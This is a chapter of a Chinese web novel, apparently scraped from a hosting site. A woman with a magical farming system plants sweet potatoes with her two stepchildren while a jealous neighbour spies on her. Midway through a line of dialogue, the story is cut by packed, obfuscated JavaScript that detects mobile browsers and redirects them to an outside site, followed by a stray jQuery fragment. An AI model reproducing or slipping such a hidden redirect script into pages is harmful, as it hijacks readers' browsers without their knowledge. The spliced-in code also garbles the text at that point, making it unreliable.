29. 第 29 章
作品:《荒年小食堂火爆营业中》 好在红薯种苗是现成的。
温姝尧的心念微动,系统面板弹窗轻响,一筐带着嫩白芽点的红薯苗,便凭空出现在面前。
叶片鲜润,茎秆挺拔,连半点萎蔫的迹象都没有。
不愧是系统出品。
最重要的幼苗有了,她只需回屋取来农具,便能开启栽种之事。
腿脚不方便也无妨,大不了放慢速度,累了便坐下歇息,一切以身体为主。
反正也没有严苛的时限,只要能在截止日期前种好红薯苗,保证植株的存活率便好。
温姝尧在心里默默盘算着任务的事情。
树影婆娑,老槐树的枝干遮住了大半身形。
而一路尾随温姝尧的林晚星蜷缩在树干后,目光死死黏在温姝尧一瘸一拐的背影上,又转头望向那片泛着淡淡莹光的灵田,心脏像被一只无形的手攥紧,心底的惊涛骇浪,久久无法平息。
她与温姝尧同村数年,从前的温姝尧,懒怠粗鄙,对继子继女非打即骂,对周辰熙也没有任何好脸色,在村里口碑很一般。
她向来将此人视作蝼蚁,甚至暗自盘算,若温姝尧被周辰熙厌弃,她便能趁虚而入,照顾周辰熙和两个孩子。
可如今,眼前的女人不仅性情大变,竟还拥有这般诡异的田地,这让她的盘算,瞬间成了一场笑话。
林晚星不敢多做停留,指尖死死攥住粗布裙摆,指节泛白。
她悄无声息地转身,踮着脚一路小跑离开周家后院。
回望那座低矮的小院时,眼底的震惊,早已被浓烈的嫉妒与不安取代,搅得她心神不宁。
而另一边。
温姝尧刚踏过堂屋的木质门槛,一道小小的身影便像小炮弹一般,堵在了门口。
周谨一背着手,小身板站得笔直,浓密的眉头拧成了一个小小的川字。
一双漆黑的眸子,直勾勾地落在她裹着粗布的脚踝上,粉嫩的嘴唇抿成一条生硬的直线。
语气依旧是少年人独有的冷淡别扭,可尾音里藏着的紧绷,却怎么也藏不住:“去了这么久,脚是不是又疼了?”
没有半句软乎乎的关切,连问句都带着几分咄咄逼人的质问意味。
可他脚下却不受控制地往前挪了半步,小手悬在半空,一副随时要伸手搀扶的模样。
温姝尧心头一软,放缓脚步缓缓蹲下身,伸出手,轻轻揉了揉他柔软的发顶。
原主从前对这两个孩子,向来疏于照拂,动辄便是呵斥打骂。
如今这般亲近的动作,让周谨一的身子几不可察地僵了一瞬。
耳尖飞快地染上一层薄红,如同沾了朝露的樱桃。
他硬是绷着小脸,既没有躲开,也没有吭声,只是长长的睫毛,轻轻颤动了几下。
“娘没事,不仅顺利拿了很多幼苗,而且还在后院收拾了块荒地。”温姝尧的声音放得极轻,裹着炉火的暖意,“等种成了,往后咱们再也不用忍饥挨饿。谨一也能安安稳稳去学堂,娘给你买新的笔墨纸砚,让你好好读书。”
话音刚落,里屋便传来一阵软糯的哼唧声。
周今安揉着惺忪的睡眼,趿着一双比脚大了不少的小布鞋,摇摇晃晃地走了出来。
一看见温姝尧,小短腿立马加快速度,颠颠地扑进她的怀里。
小胳膊紧紧搂着她的脖颈,小脑袋埋在她的颈窝,奶声奶气地黏着人:“阿娘,今安醒啦!今安要帮阿娘干活!今安力气可大了!”
小丫头年纪最小,却最是懂事贴心。
此刻她仰着圆乎乎的小脸,一双杏眼亮得像盛满了碎星,温姝尧没忍住捏了捏她的小脸。
手感特别好。
温姝尧看着眼前一大一小两个孩子,如同被暖阳融化的残雪,心软的一塌糊涂。
“谨一,安安,娘有件事要同你们说。”温姝尧牵着两个孩子的手,走到炉火旁。
她伸手往灶膛里添了块木炭,橘红色的火星噼啪跳动,暖意裹着淡淡的烟火气,在小小的堂屋里漫开。
才缓缓开口,语气郑重:“后院我收拾出了半亩地,打算尝试种些咱们早上吃的那个食物。据我观察这东西产量极高,蒸熟了香甜软糯,还能做成各式各样的点心。只是娘脚伤未愈,翻土、栽种这些力气活,得麻烦你们帮衬娘。”
她边说还边向着周谨一眨了眨眼。
明显是在说,你看需要帮忙我肯定就说啦。
周谨一闻言,原本紧绷的肩膀猛地一松。
随即他挺直了小小的身板,抬着下巴,故作不在意地瞥了眼墙角闲置的小锄头。
语气铿锵有力,却刻意绷着神情,装作满不在乎的模样:“我来就是。翻土、挖坑、起垄,这些活我都能做。你脚不方便,就在边上坐着歇着,吩咐我怎么做就行。”
温姝尧听到他这么说,下意识的回嘴,“你这是把我当黑心老板,在虐待童工吗?那肯定是大家一起干呀。”
“童工是何意?”周谨一疑惑的看向温姝尧。
出事了。
怎么就口无遮拦了?
这要怎么解释!
正当温姝尧神色尴尬,想着怎么解释的时候。
小天使周今安帮她解了围。
只见周今安也跟着用力点头,小脑袋一点一点,像只乖巧讨喜的小雀。
她攥着小小的拳头,奶声奶气地喊:“今安也帮忙!今安给阿娘递薯块,给哥哥擦汗,还给哥哥倒水喝!”
看着两个孩子争先恐后的模样,温姝尧心里都被温暖填满。
她起身走到里屋,意念一动,便在系统背包中取出提前兑换好的种薯。
薯块个个饱满圆润,表皮带着淡淡的莹润光泽,凑近了,还能闻到一丝清甜的草木气息。
她又翻出家里闲置的小锄头、木铲、竹筐和干净的粗布帕子,一一整齐地摆在堂屋角落。
周谨一凑了过去,蹲下身,好奇地打量着这些从未见过的幼苗。
他的指尖小心翼翼地碰了碰,又飞快地收回,生怕弄坏了这珍贵的种苗。
满眼都是藏不住的好奇,嘴上却依旧保持着冷淡的模样:“它真的能种出很多粮食吗?”
“自然是真的。”温姝尧笑了笑,耐心解释:“等收获
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17098864|193737||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
之后,咱们不仅能顿顿吃饱,多余的红薯,还能拿到镇上去卖。赚了钱,就给谨一买笔墨纸砚,给今安买糖糕和新衣裳。”
周谨一抿紧唇,没有再接话。
只是默默走上前,将小锄头扛在稚嫩的肩膀上。
那双漆黑的眸子里,却悄悄亮了几分,像是燃起了小小的希望之火。
日头渐渐爬高,屋顶的残雪在阳光下缓缓融化,雪水顺着屋檐滴落,湿漉漉的青石板泛着清冷的微光。
刺骨的寒风,也在暖阳的照耀下,柔和了不少。
温姝尧带着两个孩子往后院走去,周谨一扛着锄头走在最前面,小小身子挺得笔直,步子迈得沉稳又坚定。
周今安拎着小小的竹篮,里面装着切好的薯块。
她走两步,就回头望一眼温姝尧,生怕她脚下打滑,扯痛了伤处,小模样满是担忧。
待到了灵田边,周谨一骤然顿住脚步,瞪大了眼睛,满脸的难以置信。
他昨日才跟着周辰熙来过这片后院角落。彼时这里满地碎石、枯草横生,土块硬得像顽石,连生命力顽强的野草,都蔫头耷脑,活不成样子。
不过短短半日,眼前的土地竟全然变了模样。
土质松软细腻,泛着一层几不可察的淡莹光,碎石杂草消失得干干净净。
连空气里,都飘着一股清浅好闻的草木气息,沁人心脾。
“这,这地……”少年失声开口,声音都带着几分颤抖。
温姝尧早已有了应对的说辞。
她轻抚他的头顶,声音温和从容:“我找村里的老人家讨了偏方,用特殊的土肥养过,又细细翻整了大半天,才变成这副模样。”
周谨一虽心中存疑,却没有再多问。
因为他知道,不管温姝尧用了什么样的法子,都是为了这个家。
他攥紧锄头,弯腰便开始翻土。
他年纪尚小,力气远远不及成年人。
一锄头下去,只能挖起一小块土。
可他半点不肯停歇,额角很快渗出细密的汗珠,顺着稚嫩的脸颊滑落,打湿了胸前的衣襟。
额前的碎发被汗水黏在皮肤上,他也只是抬起胳膊,胡乱一抹,继续埋头苦干。
温姝尧也拿着锄头在田里,她不仅仅需要种好自己的幼苗,还需要给周谨一讲解栽种的间距与深浅。
时不时轻声叮嘱他慢些,别累着自己。
周今安则乖乖蹲在一旁,把篮子里的红薯种苗递到哥哥和阿娘手中。
她还会踮着脚尖,用自己的小袖子,小心翼翼地给周谨一擦去额头的汗,软声喊:“哥哥、阿娘加油!哥哥、阿娘最厉害!”
灵田萦绕的温润气息缓缓扩散,不仅持续舒缓着温姝尧的脚踝,连埋头劳作的周谨一,都觉得浑身轻快。
原本枯燥费力的农活,竟不觉得那般难熬。
暖阳倾洒,雪水顺着田埂渗入泥土。
三人各司其职,没有多余的话语,只有细碎的劳作声响与孩童软语。
但却静谧又温暖。
温姝尧享受着此刻人间烟火的安稳。

